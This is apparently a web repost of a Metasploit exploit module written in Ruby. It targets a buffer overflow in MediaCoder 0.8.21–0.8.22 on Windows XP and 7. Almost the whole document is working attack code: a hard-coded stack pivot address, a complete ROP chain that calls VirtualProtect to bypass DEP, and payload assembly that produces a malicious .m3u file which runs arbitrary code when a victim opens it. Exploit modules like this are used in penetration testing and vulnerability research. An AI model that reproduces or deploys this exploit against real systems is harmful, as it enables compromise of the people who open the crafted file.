MediaCoder .M3U Buffer Overflow Vulnerability

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MediaCoder .M3U Buffer Overflow Vulnerability

来源：metasploit.com 作者：metacom 发布时间：2013-07-15

##

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# web site for more information on licensing and terms of use.

# http://metasploit.com/

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'MediaCoder .M3U Buffer Overflow',

'Description' => %q{

This module exploits a buffer overflow in MediaCoder 0.8.22. The vulnerability

occurs when adding an .m3u, allowing arbitrary code execution under the context

of the user. DEP bypass via ROP is supported on Windows 7, since the MediaCoder

runs with DEP. This module has been tested successfully on MediaCoder 0.8.21.5539

to 0.8.22.5530 over Windows XP SP3 and Windows 7 SP0.

},

'License' => MSF_LICENSE,

'Author' =>

[

'metacom', # Vulnerability discovery and PoC

'modpr0be <modpr0be[at]spentera.com>', # Metasploit module

'otoy <otoy[at]spentera.com>' # Metasploit module

],

'References' =>

[

[ 'OSVDB', '94522' ],

[ 'EDB', '26403' ]

],

'DefaultOptions' =>

{

'EXITFUNC' => 'seh'

},

'Platform' => 'win',

'Payload' =>

{

'Space' => 1200,

'BadChars' => "\x00\x5c\x40\x0d\x0a",

'DisableNops' => true,

'StackAdjustment' => -3500

},

'Targets' =>

[

[ 'MediaCoder 0.8.21 - 0.8.22 / Windows XP SP3 / Windows 7 SP0',

{

# stack pivot (add esp,7ac;pop pop pop pop ret from postproc-52.dll)

'Ret' => 0x6afd4435,

'Offset' => 849,

'Max' => 5000

}

],

'Privileged' => false,

'DisclosureDate' => 'Jun 24 2013',

'DefaultTarget' => 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u'])

], self.class)

end

def junk(n=1)

return [rand_text_alpha(4).unpack("L")[0]] * n

end

def nops(rop=false, n=1)

return rop ? [0x6ab16202] * n : [0x90909090] * n

end

def exploit

# fixed rop from mona.py :)

rop_gadgets =

[

nops(true,35), # ROP NOP

0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]

0xffffffc0, # negate will become 0x00000040

junk,

0x66d9d9ba, # NEG EAX # RETN [avutil-52.dll]

0x6ab2241d, # XCHG EAX,EDX # ADD ESP,2C # POP EBP # POP EDI # POP ESI # POP EBX # RETN [swscale-2.dll]

junk(15), # reserve more junk for add esp,2c

0x1004cc03, # POP ECX # RETN [jpeg.dll]

0x6ab561b0, # ptr to &VirtualProtect() [IAT swscale-2.dll]

0x66d9feee, # MOV EAX,DWORD PTR DS:[ECX] # RETN [avutil-52.dll]

0x6ab19780, # XCHG EAX,ESI # RETN [swscale-2.dll]

0x66d929f5, # POP EAX # POP EBX # RETN [jpeg.dll]

0xfffffcc0, # negate will become 0x0000033f

junk,

0x6ab3c65a, # NEG EAX # RETN [postproc-52.dll]

0x1004cc03, # POP ECX # RETN [jpeg.dll]

0xffffffff, #

0x660166e9, # INC ECX # SUB AL,0EB # RETN [libiconv-2.dll]

0x66d8ae48, # XCHG ECX,EBX # RETN [avutil-52.dll]

0x1005f6e4, # ADD EBX,EAX # OR EAX,3000000 # RETN [jpeg.dll]

0x6ab3d688, # POP ECX # RETN [jpeg.dll]

0x6ab4ead0, # Writable address [avutil-52.dll]

0x100444e3, # POP EDI # RETN [swscale-2.dll]

nops(true), # ROP NOP [swscale-2.dll]

0x100482ff, # POP EAX # POP EBP # RETN [jpeg.dll]

nops, # Regular NOPs

0x6ab01c06, # PUSH ESP# RETN [swscale-2.dll]

0x6ab28dda, # PUSHAD # RETN [swscale-2.dll]

].flatten.pack("V*")

sploit = "http://"

sploit << rand_text(target['Offset'])

sploit << [target.ret].pack('V')

sploit << rop_gadgets

sploit << make_nops(16)

sploit << payload.encoded

sploit << rand_text(target['Max']-sploit.length)

file_create(sploit)

end

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